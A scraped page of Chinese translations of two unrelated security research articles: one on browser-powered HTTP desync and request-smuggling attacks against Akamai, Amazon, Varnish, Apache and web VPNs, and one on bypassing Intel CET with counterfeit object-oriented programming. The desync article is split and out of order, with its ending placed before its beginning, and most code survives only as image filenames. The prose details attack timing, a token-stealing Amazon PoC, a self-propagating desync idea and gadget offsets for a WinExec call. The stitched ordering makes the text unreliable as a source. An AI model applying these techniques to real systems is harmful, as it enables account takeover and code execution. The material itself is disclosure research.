我最初嘗試使用基於HEAD 的方法，類似於之前在Akamai 上使用的方法。不幸的是，這種方法依賴於基於Content-Length 的響應，並且服務器向所有沒有正文的請求發送分塊響應。此外，它拒絕了包含Content-Length 的HEAD 請求。最終，經過測試，我發現服務器會對HEAD 請求發出基於CL 的響應，前提是它們使用了Transfer-Encoding: chunked。

這在服務器端異步中幾乎沒有用，但是由於受害者的瀏覽器在我的控制之下，我可以準確地預測下一個請求的大小，並在單個chunk中使用它：

32.png

此攻擊是使用以下JavaScript 觸發的：

33.png

此漏洞於2022 年7 月21 日被成功修復。

Pulse SecureVPNPulse Secure VPN會忽略對靜態文件（如/robots.txt）的POST 請求的Content-Length。就像Cisco Web VPN 一樣，這個目標有一個主機標頭重定向小工具，我將使用它來劫持JavaScript 導入。但是，這次的重定向是不可緩存的。因此客戶端緩存攻擊是不可用的。

由於我們的目標是資源負載並且沒有攻擊客戶端緩存的預期，因此攻擊時機至關重要。我們需要受害者的瀏覽器成功加載目標網站上的頁面，然後使用攻擊連接加載JavaScript 子資源。

固有的競爭條件使這種攻擊不可靠，所以如果我們只有一次嘗試，它注定會失敗——我們需要設計一個環境，可以進行多次嘗試。為了實現這一點，我將創建一個單獨的窗口，並在攻擊者頁面上保留一個句柄。

在大多數目標頁面上，如果試圖劫持JS導入失敗，將導致瀏覽器緩存真正的JavaScript文件，在緩存的JS過期之前，該頁面不會受到此類攻擊。我能夠通過定位/dana-na/meeting/meeting_testjs.cgi來避免這個問題，它從/dana-na/meeting/url_meeting/appletRedirect.js加載JavaScript，這實際上並不存在，所以它返回一個404，並沒有保存在瀏覽器的緩存中。我還用一個冗長的標頭填充了注入的請求，以緩解堆棧響應漏洞。

這導致以下攻擊流程：

1.打開一個新窗口。

2.向目標發出無害的請求以建立新的連接，從而使計時更加一致。

3.將窗口導航到位於/meeting_testjs.cgi 的目標頁面。

4.120 毫秒後，使用重定向小工具創建三個攻擊連接。

5.5 毫秒後，在渲染/meeting_testjs.cgi 時，受害者可能會嘗試導入/appletRedirect.js 並被重定向到提供惡意JS的x.psres.net。

6.如果沒有，請重試攻擊。

最終的攻擊腳本如下：

34.png

基於暫停的異步如上所述，在HTTP 請求中間暫停並觀察服務器的反應可以揭示通過篡改請求的實際內容無法獲得的有用信息。事實證明，暫停還可以通過觸發漏洞的請求超時實現來創建新的異步漏洞。

這個漏洞類是不可見的，除非你的工具有比目標服務器更高的超時時間。我非常幸運地發現了它，因為我的工具應該有2秒的超時，但由於一個漏洞，它恢復到10秒的超時。我的管道還碰巧包含一個運行Varnish的單獨網站，該網站配置了自定義的5 秒超時。

VarnishVarnish 緩存有一個稱為synth() 的特性，它可以讓你在不將請求轉發到後端的情況下發出響應。下面是一個用來阻止訪問文件夾的規則示例：

36.png

當處理匹配synth規則的部分請求時，如果Varnish在15秒內沒有收到數據，它將超時。當這種情況發生時，即使它只從套接字讀取了一半的請求，它也會讓連接保持打開狀態以便重用。這意味著，如果客戶機繼續處理HTTP請求的後半部分，它將被解釋為一個新的請求。

要在易受攻擊的前端觸發基於暫停的異步，首先發送你的標頭，承諾正文，然後等待。最終你會收到一個響應，當你最終發送你的請求正文時，它會被解釋為一個新的請求：

37.png

Apache在這個發現之後，我碰到了Turbo Intruder 的請求超時，發現同樣的技術也適用於Apache。與Varnish一樣，它在服務器自己生成響應而不是讓應用程序處理請求的端點上很容易受到攻擊。發生這種情況的一種方法是使用服務器級重定向：

38.png

如果你發現一個服務器容易受到基於暫停的異步的影響，你有兩個利用它的選項，具體取決於它是前端還是後端。

服務器端如果易受攻擊的服務器在後端運行，你可能會觸發服務器端異步。為此，你需要一個將請求流傳輸到後端的前端。特別是，它需要在不緩衝整個請求正文的情況下以HTTP 標頭轉發。

39.png

這裡有一個小問題。前端不會讀取超時響應並將其傳遞給我們，直到看到我們發送完整的請求。因此，我們需要發送我們的標頭，暫停一段時間，然後在沒有提示的情況下繼續其餘的攻擊序列。我不知道有任何安全測試工具支持像這樣部分延遲請求，所以我在Turbo Intruder 中實現了支持。隊列接口現在有三個新參數：

pause before指定一個Turbo應該暫停的偏移量。

pauseMarker 是一種替代方案，它採用Turbo 在發出後應暫停的字符串列表。

pauseTime 指定暫停多長時間，以微秒為單位；

那麼，哪些前端實際上具有這種請求流？一個著名的前端是Amazon 的Application Load Balancer (ALB)，但還有一個額外的障礙。如果ALB 收到對部分請求的響應，它將拒絕重用連接。

40.png

幸運的是，這種機制中有一個固有的競爭條件。你可以通過延遲請求的後半部分來充分利用ALB 後面的Varnish，使其在後端超時的同時到達前端。

41.png

匹配超時在利用ALB 背後的Apache 時還有一個額外的複雜性，兩台服務器的默認超時時間都是60 秒。這就為發送請求的第二部分留下了極短的時間窗口。

我試圖通過發送一些被前端規範化的數據來解決這個問題，以便在不影響後端計時器的情況下重置前端的計時器。不幸的是，塊大小填充、塊擴展或TCP 重複/無序數據包都沒有達到這個目標。

最後，為了證明這個概念，我使用Turbo Intruder 發起了一次緩慢但持續的攻擊。 66個小時後，這個實驗最終成功了。

MITM 攻擊由於基於暫停的異步攻擊使用合法的HTTP 請求，人們很自然地想知道它們是否可以用來觸發客戶端異步。我探索了使瀏覽器在發出請求的中途暫停的選項，但儘管Streaming Fetch 聽起來很有希望，但它還沒有實現，最終測試失敗。

然而，有一種方法絕對可以延遲瀏覽器請求——主動MITM 攻擊。 TLS 旨在防止數據在傳輸過程中被解密或修改，但它是通過TCP 捆綁的，沒有什麼可以阻止攻擊者延遲整個數據包。這可以稱為盲目MITM 攻擊，因為它不依賴於解密任何流量。

攻擊流程與常規的客戶端異步攻擊非常相似。用戶訪問攻擊者控制的頁面，該頁面向目標應用程序發出一系列跨域請求。第一個HTTP 請求被故意填充到非常大，以至於操作系統將其拆分為多個TCP 數據包，從而使活動的MITM 能夠延遲最終數據包，從而觸發基於暫停的異步。由於存在填充，攻擊者只需根據數據包的大小就能識別出需要暫停的數據包。

42.png

我能夠使用默認配置和一個重定向規則成功地對一個獨立的基於apache的網站執行此攻擊：

43.png

從客戶端看，除了請求填充之外，它看起來像使用HEAD 小工具的常規客戶端異步：

44.png

在執行盲目MITM 的攻擊者係統上，我使用tc-NetEm 實現了延遲：

45.png

通過修改請求填充和數據包大小過濾器，我在目標瀏覽器上實現了大約90% 的成功率：

總結本文所涉及的主題和技術具有進一步研究的潛力：

1.使用瀏覽器發出的請求觸發客戶端異步的新方法；

2.一種基於暫停的服務器端異步漏洞的有效且可靠的檢測方法；

3.更多用於客戶端不同步攻擊的利用小工具；

4.使用CSD-chaining 的真實PoC；

5.一種需要MITM 來延遲瀏覽器請求的方法；

6.一種在HTPT/2 可用時強制瀏覽器使用HTTP/1 的方法；

緩解措施你可以通過使用HTTP/2 端到端來緩解本文中的大多數攻擊。 HTTP/2中也可能存在類似的漏洞，但可能性要小得多。我不建議前端支持HTTP/2，然後重寫HTTP/1.1請求來與後端通信。這確實緩解了客戶端異步攻擊，但它無法緩解服務器端基於暫停的攻擊，並且還引入了其他的威脅。

如果你的公司通過轉發代理路由員工的流量，請確保支持並啟用上游HTTP/2。注意，使用正向代理還引入了超出本文範圍的一系列額外的請求走私風險。

HTTP/1.1 的明文性質使它看起來很簡單，並使開發人員實現自己的服務器。不幸的是，即使是HTTP/1.1 的極簡實現也容易出現嚴重漏洞，特別是如果它支持連接重用或部署在單獨的前端之後。

HireHackking

60a7-article-browser-powered_desync_attacks_article.jpg

我將在本文介紹如何將受害者的Web 瀏覽器變成一個異步的傳播平台，通過暴露一個獨立的服務器網站和內部網絡來轉移請求走私的邊界。你將學習如何將跨域請求與服務器漏洞相結合，以攻擊瀏覽器連接池、安裝後門，並釋放異步攻擊。使用這些技術，我將攻擊包括Apache、Akamai、Varnish、Amazon 和多個Web VPN 在內的目標。

接下來我將分享一種結合瀏覽器特點和自定義開源工具的方法。除此之外，我還將介紹一種黑盒分析策略，該策略解決了長期存在的異步障礙，並揭示了一種極其有效的新穎異步觸發器。由此產生的後果將包括客戶端、服務器端甚至MITM 攻擊。最後，我將介紹修改HTTPS 以在Apache 上觸發MITM 驅動的異步。

本文使用的術語“瀏覽器驅動的異步攻擊”表示可以通過Web 瀏覽器觸發的所有異步攻擊。這包括所有客戶端異步攻擊，以及一些服務器端攻擊。

本文的示例都是取材於真實網站。本文中引用的所有漏洞均已報告給相關供應商，並已修補，除非另有說明。

連接狀態攻擊如果你沒有嘗試請求走私攻擊，很容易忘記HTTP 連接重用並將HTTP 請求視為獨立對象。畢竟，HTTP 應該是無狀態的。然而，下面的層（通常是TLS）只是一個字節流，很容易找到實現不佳的HTTP 服務器，假設通過單個連接發送的多個請求必須共享某些屬性。

在野外看到的主要漏洞是服務器假設通過給定TLS 連接發送的每個HTTP/1.1 請求都必須具有相同的預期目標和HTTP Host 標頭。由於網絡瀏覽器符合這個假設，所以在有人使用Burp Suite 之前一切都會正常工作。

我發現了兩個不同的場景，這個漏洞均造成了很大的安全後果。

第一個請求驗證反向代理通常使用Host 標頭來識別將每個請求路由到哪個後端服務器，並有一個允許人們訪問的主機白名單：

1.png

但是，我發現一些代理只對通過給定連接發送的第一個請求應用此白名單。這意味著攻擊者可以通過向允許的目的地發出一個請求來訪問內部網站，然後通過相同的連接向內部網站發出一個請求：

2.png

幸運的是，這種漏洞非常罕見。

第一個請求路由第一個請求路由是一個密切相關的漏洞，發生在前端使用第一個請求的Host 標頭來決定將請求路由到哪個後端，然後將來自同一客戶端連接的所有後續請求路由到同一後端連接。

這本身不是一個漏洞，但它使攻擊者能夠使用任意Host 標頭攻擊任何後端，因此它可以與Host 標頭攻擊鏈接在一起，例如密碼重置攻擊、Web 緩存攻擊以及獲得對其他虛擬主機的訪問權限。

在此示例中，我們希望使用“psres.net”的攻擊主機標頭攻擊example.com 的後端，以進行密碼重置攻擊，但前端不會路由我們的請求：

3.png

然而，通過對目標網站的有效請求開始我們的請求序列，我們可以成功到達後端：

4.png

希望能給受害者發一封帶有釣魚鏈接的郵件：

5.png

你可以使用HTTP Request 走私中的“連接狀態探測”選項掃描這兩個漏洞。

大多數HTTP 請求走私攻擊可以描述如下：

發送一個長度不明確的HTTP 請求，使前端服務器與後端對消息的結束位置產生分歧，從而將惡意前綴應用於下一個請求。此分歧通常是通過混淆的傳輸編碼標頭來實現的。

該漏洞是由以下HTTP/2請求觸發的，該請求沒有使用任何混淆或違反任何RFC。甚至對於長度沒有任何歧義，因為HTTP/2 在幀層中有一個內置的長度字段：

6.png

此請求觸發了來自運行AWS Application Load Balancer (ALB) 作為其前端的各種網站的非常可疑的間歇性400 漏洞請求響應。調查顯示，ALB在將請求降級為HTTP/1.1轉發到後端時，添加了一個“Transfer-Encoding: chunked”標頭，而沒有對消息正文進行任何更改：

7.png

我只需要提供一個有效的被chunk對象：

8.png

這是一個發現漏洞的完美示例，它讓你回溯實際發生的情況和原因。這個請求只有一個不尋常的地方，它沒有Content-Length (CL) 標頭。由於前面提到的內置長度字段，在HTTP/2 中省略CL 是明確可接受的。然而，瀏覽器總是發送一個CL，所以服務器顯然不會期望沒有CL的請求。

檢測連接鎖定的CL.TE有了這兩個經驗教訓，我決定解決我去年在HTTP/2 研究中強調的一個未解決的問題，連接鎖定HTTP/1.1 請求走私漏洞的通用檢測。連接鎖定是指前端為與客戶端建立的每個連接創建一個到後端的新連接的常見行為。這使得直接的跨用戶攻擊幾乎不可能，但仍然留下了其他攻擊途徑。

要識別此漏洞，你需要通過單個連接發送“攻擊者”和“受害者”請求，但這會產生大量誤報，因為服務器行為無法與稱為HTTP管道的常見無害特性區別開來。例如，給定以下CL.TE 攻擊的請求/響應序列，你無法判斷目標是否易受攻擊：

9.png

HTTP 管道在Burp Repeater 中也可見，它通常被誤認為是真正的請求走私：

10.png

你可以通過將requestsPerConnection 設置從1 增加到自己在Turbo Intruder 中的測試，這只是要做好誤報的準備。

我浪費了很多時間試圖調整請求來解決這個問題。但事實證明，上面的響應不能證明存在漏洞，並且解決方案立刻就出現了：

從上面的響應序列可以看出，由於隨後的404 響應，後端正在使用傳輸編碼標頭解析請求。但是，你無法判斷前端是否使用請求的Content-Length ，並因此易受攻擊，或者是否安全地將其視為許多chunk，並假設橙色數據已通過管道傳輸。

要排除管道的可能性並證明目標確實易受攻擊，你只需在使用0\r\n\r\n 完成chunk處理請求後暫停並嘗試提前讀取。如果服務器在你的讀取嘗試期間做出響應，則表明前端認為該消息還是完整的，因此必須將其安全地分割成很多小塊：

11.png

如果你的讀取嘗試被暫停，這表明前端正在等待消息完成，因此必須使用Content-Length，從而使其易受攻擊：

12.png

這種技術也可以很容易地適應TE.CL 漏洞。將其集成到HTTP Request 走私中很快發現了一個在Barracuda WAF後面運行IIS 的網站，該網站容易受到傳輸編碼的影響。有趣的是，修復這個漏洞的更新已經出現了，但它是作為一種投機性的修復措施來實現的，所以它沒有被標記為安全版本，攻擊設備也沒有安裝它。

CL.0 瀏覽器兼容的異步雖然原先將另一個網站標記為最初看起來像連接鎖定的TE.CL 漏洞。但是，服務器沒有按預期響應我的手動探測和讀取。當我嘗試簡化請求時，我發現傳輸編碼標頭實際上被前端和後端完全忽略了。這意味著我可以完全利用它，發起攻擊：

13.png

前端使用的是Content-Length，但後端顯然完全忽略了它。結果，後端將正文作為第二個請求的方法的開始。忽略CL等同於將其視為值為0，因此這是一個CL.0異步，這是一種已知但較少探索的攻擊類。

14.png

關於此漏洞的第二個也是更重要的一點是，它是由一個完全有效的、符合規範的HTTP 請求觸發的。這意味著前端防禦它的機會為零，甚至可以由瀏覽器觸發。

攻擊是可能的，因為後端服務器根本不會接收到POST 請求。

amazon.com 上的H2.0對CL.0/H2.0 異步漏洞實施粗略掃描檢查後發現，它們影響了包括amazon.com 在內的眾多網站，亞馬遜網站忽略了發送到/b/的請求的CL：

15.png

我通過創建一個簡單的概念證明(PoC) 來確認此漏洞，該概念將隨機實時用戶的完整請求（包括身份驗證令牌）存儲在我的清單中：

16.png

在我向亞馬遜報告此事後，我意識到我還是錯過了一個危害更大的漏洞。攻擊請求非常普通，我可以讓任何人的網絡瀏覽器使用fetch() 發出它。通過在亞馬遜上使用HEAD 技術創建一個XSS 小工具並在受害者的瀏覽器中執行JavaScript，我可以讓每個受攻擊的受害者自己重新發起攻擊，並將其傳播給其他人。這樣就會產生一個異步攻擊，一種自我複制的攻擊，利用受害者在沒有用戶交互的情況下發起的攻擊，迅速利用亞馬遜上的每個活躍用戶。

我不建議在你的工作系統上嘗試此操作，但在暫存環境中嘗試可能會很有趣。

客戶端異步傳統的異步攻擊利用的是前端和後端服務器之間的連接，因此在不使用前端/後端架構的網站上是不可能的。從現在開始，我將把它稱為服務器端異步。大多數服務器端異步只能由發出格式漏洞的請求的自定義HTTP 客戶端觸發，但是，正如我們剛剛在amazon.com 上看到的，有時可以創建由瀏覽器驅動的服務器端異步。

瀏覽器導致異步的能力會引發一類全新的威脅，我將其稱為客戶端異步(client-side desync，CSD)，其中異步發生在瀏覽器和前端服務器之間。這使得可以利用獨立的服務器網站，這很有價值，因為它們通常在HTTP 解析方面非常糟糕。

CSD 攻擊始於受害者訪問的感染網站，然後讓他們的瀏覽器向易受攻擊的網站發送兩個跨域請求。第一個請求的目的是使瀏覽器的連接異步，並使第二個請求觸發有害響應，通常使攻擊者控制受害者的帳戶：

17.png

攻擊方法在嘗試檢測和利用客戶端異步漏洞時，你可以重用來自服務器端異步攻擊的許多概念。主要區別在於，整個漏洞利用序列都發生在受害者的網絡瀏覽器中，這個環境比專用黑客工具更加複雜和不受控制。這帶來了一些新的挑戰，這給我在研究這項技術時帶來了很大的阻礙。為此，我開發了以下方法：

18.png

探測第一步是識別你的CSD 矢量。這個基本原語是漏洞的核心，也是構建漏洞利用的平台。我們已經在HTTP Request 走私和Burp Scanner 中實現了對這些的自動檢測，但是了解如何手動進行檢測仍然很有價值。

CSD 向量是具有兩個關鍵屬性的HTTP 請求。

首先，服務器必須忽略請求的Content-Length (CL)。這種情況通常會發生，因為請求要么觸發了服務器錯誤，要么服務器根本不期望向所選端點發出POST請求。嘗試針對靜態文件和服務器級重定向，並通過超長URL 和/%2e%2e 等半格式錯誤觸發漏洞。

其次，請求必須在web瀏覽器的跨域觸發。瀏覽器嚴重限制了對跨域請求的控制，因此你對標頭的控制有限，如果你的請求有正文，則需要使用HTTP POST 方法。最終，你只控制URL，加上一些零星的結尾，如Referer 標頭、正文和Content-Type 的後半部分：

微信截图_20220829140500.png

現在我們已經編寫了攻擊請求，我們需要檢查服務器是否忽略了CL。作為簡單的第一步，使用超長的CL 發出請求並查看服務器是否仍然回复：

20.png

這是有希望的，但不幸的是，一些安全服務器無需等待正文即可響應，因此你會遇到一些誤報。其他服務器沒有正確處理CL，而是在響應後立即關閉每個連接，使它們無法被利用。要過濾掉這些，請在同一連接下發送兩個請求，並查找第一個請求的正文影響對第二個的響應：

21.png

要在Burp Suite 中對此進行測試，將兩個請求放入Repeater中的一個標籤組，然後使用單連接發送序列。你還可以在Turbo Intruder 中通過禁用管道並將concurrentConnections 和requestsPerConnection 分別設置為1 和100 來實現此目的。

如果可行，請嘗試更改正文並確認第二個響應按預期更改。這個簡單的步驟旨在確認你對正在發生的事情的心理模型與現實相符。我個人在運行Citrix Web VPN 的系統上浪費了很多時間，只是意識到它只是為發送到某個端點的每個請求發出兩個HTTP 響應。

最後，重要的是要注意目標網站是否支持HTTP/2。 CSD 攻擊通常利用HTTP/1.1 連接重用，並且Web 瀏覽器更喜歡盡可能使用HTTP/2，因此如果目標網站支持HTTP/2，你的攻擊不太可能起作用。有一個例外；一些轉發代理不支持HTTP/2，因此你可以利用任何使用它們的人。這包括公司代理、某些VPN 甚至一些安全工具。

確認現在我們已經找到了CSD 向量，我們需要通過在真實瀏覽器中復制行為來排除任何潛在的漏洞。我推薦使用Chrome，因為它擁有創造CSD漏洞的最佳開發工具。

首先，選擇一個網站來發起攻擊。此網站必須通過HTTPS 訪問，並且位於與目標不同的域中。

接下來，確保你沒有配置代理，然後瀏覽到你的攻擊網站。打開開發人員工具並切換到網絡選項卡。為了幫助調試以後可能出現的問題，我建議進行以下調整：

選擇“保留日誌”複選框。

右鍵點擊列標題並啟用“連接ID”列。

切換到開發人員控制台並使用fetch()執行JavaScript來複製攻擊序列。如下所示：

22.png

我已將獲取模式設置為“no-cors”以確保Chrome 在“網絡”選項卡中顯示連接ID。我還設置了憑據：“包含”，因為Chrome 有兩個獨立的連接池，一個用於帶有cookie 的請求，一個用於不帶cookie 的請求。你通常會想要利用導航，並且那些使用“with-cookies”池。

執行此操作時，你應該在Network 選項卡中看到兩個具有相同連接ID 的請求，第二個應該觸發404：

23.png

如果這如預期的那樣工作，那麼恭喜你，你已經發現自己的客戶端不同步了！

探索過程現在我們已經確認了客戶端異步，下一步就是找到一個小工具來利用它。在Network選項卡中意外觸發404可能會給一些人留下深刻印象，但它不太可能產生任何用戶密碼或獎勵。

至此，我們已經確定我們可以攻擊受害者瀏覽器的連接池，並對我們選擇的HTTP 請求應用任意前綴。這是一個非常強大的原語，它提供了三種廣泛的攻擊途徑。

存儲在檢索位置一種選擇是識別目標網站上允許你存儲文本數據的功能，並編寫前綴，以便受害者的cookie、身份驗證標頭或密碼最終存儲在你可以檢索它們的位置。這種攻擊流程的工作原理與服務器端請求走私幾乎相同，所以我不會詳述。

Chainpivot下一個選項是全新的，由受害者瀏覽器中的新攻擊平台提供。

在正常情況下，很多類型的服務器端攻擊只能由直接訪問目標網站的攻擊者發起，因為它們依賴於瀏覽器拒絕發送的HTTP 請求。這幾乎包括了所有涉及篡改HTTP報頭的攻擊——Web 緩存攻擊、大多數服務器端請求走私、主機標頭攻擊、基於用戶代理的SQLi 以及許多其他攻擊。

例如，不可能讓其他人的瀏覽器在User-Agent 標頭中使用log4shell 有效負載發出以下請求：

24.png

CSD 漏洞為這些針對網站的攻擊打開了大門，這些網站由於位於受信任的內部網或隱藏在基於IP 的限制之後而受到保護。例如，如果intranet.example.com 易受CSD 攻擊，你可以使用以下請求達到相同的效果，可以在瀏覽器中使用fetch() 觸發該請求：

HireHackking

robbery.png

雖然數據執行保護（DEP）旨在阻止來自特定內存區域的純代碼注入攻擊，但道高一尺魔高一丈，攻擊者已經不再注入整個代碼的有效負載了，而是重新利用DEP允許的內存頁面中的多個代碼塊，稱為ROPgadget。這些代碼塊取自目標應用程序中現有的代碼，並鏈接在一起，以形成所需的攻擊者有效負載，或僅按頁禁用DEP，以允許運行現有代碼有效負載。

為了永久阻止ROP攻擊，Intel開發了一種新的硬件強制控制流完整性緩解措施，稱為控制強制技術（CET），大約兩年前首次在Windows系統上發布。

我們會在本文中簡要介紹CFI緩解措施的工作原理，包括CET，以及如何利用Counterfeit Object-Oriented Programming (COOP) 在最新Windows版本上有效繞過Intel CET。

Forward-Edge和Backward-EdgeCFI控制流完整性機制可以分為兩大類：Forward-Edge和Backward-Edge。

與Microsoft CFG4一樣，Forward-EdgeCFI通過使用經過驗證的函數地址來保護間接函數調用。例如，如果我們用ROPgadget地址重寫CALL [rax]指令中解引用的指針，CFG將通過發出異常來阻止我們的攻擊。

相反，像Intel的CET5這樣的Backward-EdgeCFI通過將函數的返回地址與存儲在Shadow Stack上的以前保存的地址版本進行比較來保護函數的返回地址。如果原始返回地址在內存被攻擊期間被重寫了，則地址對照（ address comparison）將不可避免地失敗，應用程序將被終止。考慮到基於ROP的攻擊在沒有“CALL”指令的情況下執行“RET”指令，運行線程的堆棧和影子堆棧（shadow stack ）值不匹配，因此像CET這樣的Backward-EdgeCFI有效地阻止了這種攻擊技術。

Intel CET旨在通過間接分支跟踪（IBT）通過影子堆棧和COP/JOP緩解ROP攻擊。然而，由於後一種技術尚未在Windows上實現，因此在本文中，我們將把“Intel CET”作為僅啟用影子堆棧的實現。

CET當前的實現方式非常無效，因為渲染器進程通常會被利用。儘管CET在瀏覽器上還沒有得到廣泛的執行，但我們應該期待它在未來的每一個進程中都得到執行。

偽造對象Felix Schuster在2015年提出了一種名為偽面向對象編程（COOP）的新代碼重用技術。不過該技術尚未在野外或公開利用被發現。我們寫這篇博文的目的是試圖利用這種理論方法，並在概念驗證中加以實現，以繞過Intel CET。

該技術背後的主要思想是偽造，即用攻擊者控制的有效負載在內存中生成新的對象，並通過目標應用程序或加載庫中已經存在的虛擬函數將它們鏈接在一起。

偽對像中包含的每個虛擬函數稱為vfgadget，負責執行一個小任務。與ROP類似，vfgadget可以執行諸如將值填充到寄存器中之類的任務。然而，當組合在一起時，多個vfgadget可以執行更高級的操作。

由於目前沒有專門的工具可以發現vfgadget，所以可以通過自定義腳本(如idpython)找到它們，使用類似於ROP gadget發現的過程。

由於vfgadget是從CFG有效函數池中選取的，我們可以將它們標記為合法的，一旦我們劫持了其中一個函數的間接調用，它們的執行就不會被CFG阻止。

此外，一個有趣的推論是Intel CET不會被觸發，因為我們不會在順序調用vfgadget的過程中損壞任何函數返回地址。

一個典型的COOP有效載荷從一個充當COOP主要功能的基本vfgadget開始。我們在本文稱之為Looper。一旦攻擊者在內存中集成了偽造對象，Looper vfgadget就會遍歷由攻擊者精心安排的其他vfgadget數組，這些vfgadget將被逐個調用。通過以這種方式對齊偽對像中的vfgadget，我們將能夠以可控的方式調用有效的虛擬函數。

Looper運行後，它可以調用其他負責執行特定操作的vfgadget，如Argument Loaders Invoker和Collector。這些vfgadget將定期存儲在Looper訪問的數組中。

Argument Loader vfgadget通過將值加載到給定寄存器中來填充該寄存器。要加載的值將存儲在偽對像中，位於假對像開始處的偏移位置。

一旦寄存器被一個或多個參數加載器填充，就可以調用Invoker vfgadget來簡單地執行目標API的函數指針。

Collector是一種gadget，用於檢索寄存器中已存在的值，並將其保存回攻擊者的偽造對象即作為從調用的API返回的值。

下圖總結了迄今為止討論的COOP攻擊策略。

1.png

COOP攻擊流

我們可以根據不同的vfgadget的可用性和想要執行的API來安排和混合它們。

為了更好地理解COOP攻擊，讓我們從分析主vfgadget Looper開始。以下彙編代碼提供了Looper COOP vfgadget的簡化版本：

2.png

Looper Gadget相關的ASM代碼

在第一行中，RCX持有this9指針，我們將偽對象的開頭加載到RBX中，該偽對象位於RCX的偏移量0x40處。由於偽對像中的所有項目都將以偏離此指針的偏移量為準，因此我們需要確保在劫持程序流之前保存其值（即通過破壞vtable）。

然後，COOP有效負載基址被解引用到RAX中，RAX指向被調用的第一個vfgadget。一旦調用返回，一個新的vfgadget將從前一個gadget的偏移量0x20處加載，如果RBX的內容不為零，則會進行新的循環迭代。

當在內存中寫入偽造對象時，我們需要預先對齊每個vfgadget以匹配Looper偏移量，類似於下面的佈局：

3.png

內存中的COOP緩衝區

這樣，00000227`26cd8900是COOP有效負載的基址，它存儲在‘this’指針（RCX）的偏移量0x40處。從前面的代碼清單中，我們注意到在_loopstart例程的第一行，指針被解引用到RAX中，而RAX又指向第一個vfgadget。在下一次循環迭代中，Looper通過在前一個循環的偏移量0x20處加載指針來重複相同的任務，並最終調用第二個vfgadget。

當利用真實的目標瀏覽器時，建議依賴Looper vfgadget，因為它比其他vfgadget提供了更多的控制和穩定性。但是，為了簡潔起見，我們在編寫易受攻擊的應用程序時只使用了一個Invoker vfgadget，它只接受一個參數。

在介紹了COOP的基本理論之後，讓我們繼續開發一個由CET編譯的概念驗證應用程序，該應用程序是我們為展示COOP攻擊而開發的。

與COOP繞過CET影子堆棧我們編寫的易受攻擊的應用程序是用CET和CFG以及默認啟用的DEP編譯的。

首先，為了驗證CET是否真的被強制執行，我們在printf上放置一個斷點，檢查調用堆棧，覆蓋返回地址並恢復執行。

4.png

驗證CET的執行

當收到一個涉及無效返回地址的Shadow Stack異常提示，就代表CET被啟用了。

由於CET是一種硬件強制緩解，為了觸發上述漏洞，我們至少需要一個英特爾虎湖( Tiger Lake )十一代酷睿CPU。

為了模擬瀏覽器漏洞，我們可以利用執行應用程序時自動觸發的應用程序中的類型混淆漏洞來獲得RIP控制。

當我們點擊該漏洞的觸發器時，vtable指針會被我們的輸入損壞，導致我們可以控制的間接調用。然後我們劫持vtable，使其指向第一個（也是唯一一個）vfgadget所在的COOP緩衝區。如上所述，為了簡潔起見，我們沒有使用帶有嵌套vfgadget的Looper，而是選擇使用一個同時具有Invoker和Argument Loader組件的gadget。

作為該漏洞自動利用的一部分，為了獲取vfgadget的‘this’指針，我們洩漏了堆棧指針，並將‘this’指針作為堆棧的靜態偏移量進行檢索。

一旦我們獲得了‘this’指針地址，我們就準備好要調用的WindowsAPI的地址及其參數。這是通過在偽對象內以所需偏移量寫入Windows API地址和參數來實現的。

在更詳細地研究COOP有效負載之前，讓我們先通過不帶任何參數運行PoC來理解它的語法。

5.png

獲取PoC的語法

應用程序接受四個參數：一個指向偽造對象（COOP）緩衝區的指針、vfgadget地址、Windows API地址及其參數。該助手顯示了兩個簡單的用例，但可以將其擴展為調用任何CFG允許的API（如果應用程序是用它編譯的）。

由於Windows DLL將在隨機基址加載，因此需要預先計算所需的API地址。

讓我們首先檢查與vfgadget相關的對象的C++代碼，然後從編譯的二進製文件探索其相應的程序集：

6.png

我們從中派生vfgadget的' trigger '方法

項目中的OffSec類包含一個觸發器方法，它充當一個C風格的函數指針，我們可以使用它來調用任何我們喜歡的API。然後，在主程序例程中實例化“OffSec”類，以便將其與方法一起加載到內存中。

仔細查看反彙編程序中的Invoker可以發現一些有趣的方面。

7.png

調用程序vfgadget

從第二行到第四行，RCX引用的‘this’指針首先存儲在堆棧中，然後移動到RAX中。接下來，從RAX偏移量0x10處的值被解引用並移動到RAX中。此值將是駐留在偽對像中的API函數指針。然後，在第7行和第8行，第一個函數參數從‘this’指針偏移量0x8處解引用，並移到RCX中。

我們很快就會發現，一旦我們從命令行提交了參數，易受攻擊的應用程序就會處理這些偏移。

在介紹了攻擊鏈的主要構建塊之後，讓我們嘗試通過傳遞四個參數來運行PoC，以獲得代碼執行：

8.png

運行帶有所有參數的PoC應用程序

通過上述命令，我們提供了以下參數：00001e000000作為偽對象的存儲緩衝區，5086014001000000作為Invoker vfgadget，40610fecfb7f0000是WinExec內存地址。作為最後一個參數，我們傳遞WinExec字符串參數。請注意，所有內存地址都是以little-endian格式傳遞的。

一旦啟動，應用程序立即停止，允許我們將調試器附加到它。在這樣做之前，我們啟動Process Explorer以驗證二進製文件實際上在啟用Intel CET的情況下運行。

9.png

驗證是否已使用Process Explorer啟用CET

在“堆棧保護”欄下，Process Explorer確認僅對CET兼容模塊強制執行CET，這意味著將對使用CET編譯的任何模塊強制執行緩解。附加調試器後，我們將斷點放置到主函數中唯一的間接調用，然後繼續執行。

10.png

間接調用時中斷

我們在main+0x3d2處放置了一個斷點，並驗證了在該地址確實有一個間接調用。接下來，我們將轉儲位於靜態地址0x1e0000的偽造對象的內容，該地址包含指向位於0000000 1400186a0的vfgadget的指針。

在main+0x3d2是類型混淆錯誤引發的地方，允許我們控制RIP。一旦到達斷點，我們就檢查駐留在COOP緩衝區中的值，它應該是第一個Invoker vfgadget。我們讓應用程序繼續運行，並驗證我們確實達到了斷點。

11.png

登錄第一個COOP vfgadget

在跟踪到CFG ldrpdispatchusercalltarget例程之後，我們跳轉到Invoker vfgadget ' OffSec:trigger '，證明我們已經控制了程序的執行流。然後我們繼續在vfgadget中進行跟踪：

12.png

將‘this’ 指針移動到RAX中

在上面的清單中，Invoker首先將‘this’指針從RCX保存到堆棧中，我們還驗證它是否指向COOP緩衝區的底部。在最後一條指令中，‘this’ 指針被加載到RAX中，RAX將用作調用API及其參數的引用：

13.png

通過‘this’ 指針加載WinExec參數

首先，在偏移量0x10處，我們可以看到WinExec地址被加載到RAX中，然後，在三條指令之後，命令參數被檢索到偏移量0x8處。

如果執行繼續，我們將再次調用LdrpDispatchUserCallTarget，它依次將執行分派給WinExec。

14.png

成功調用WinExec

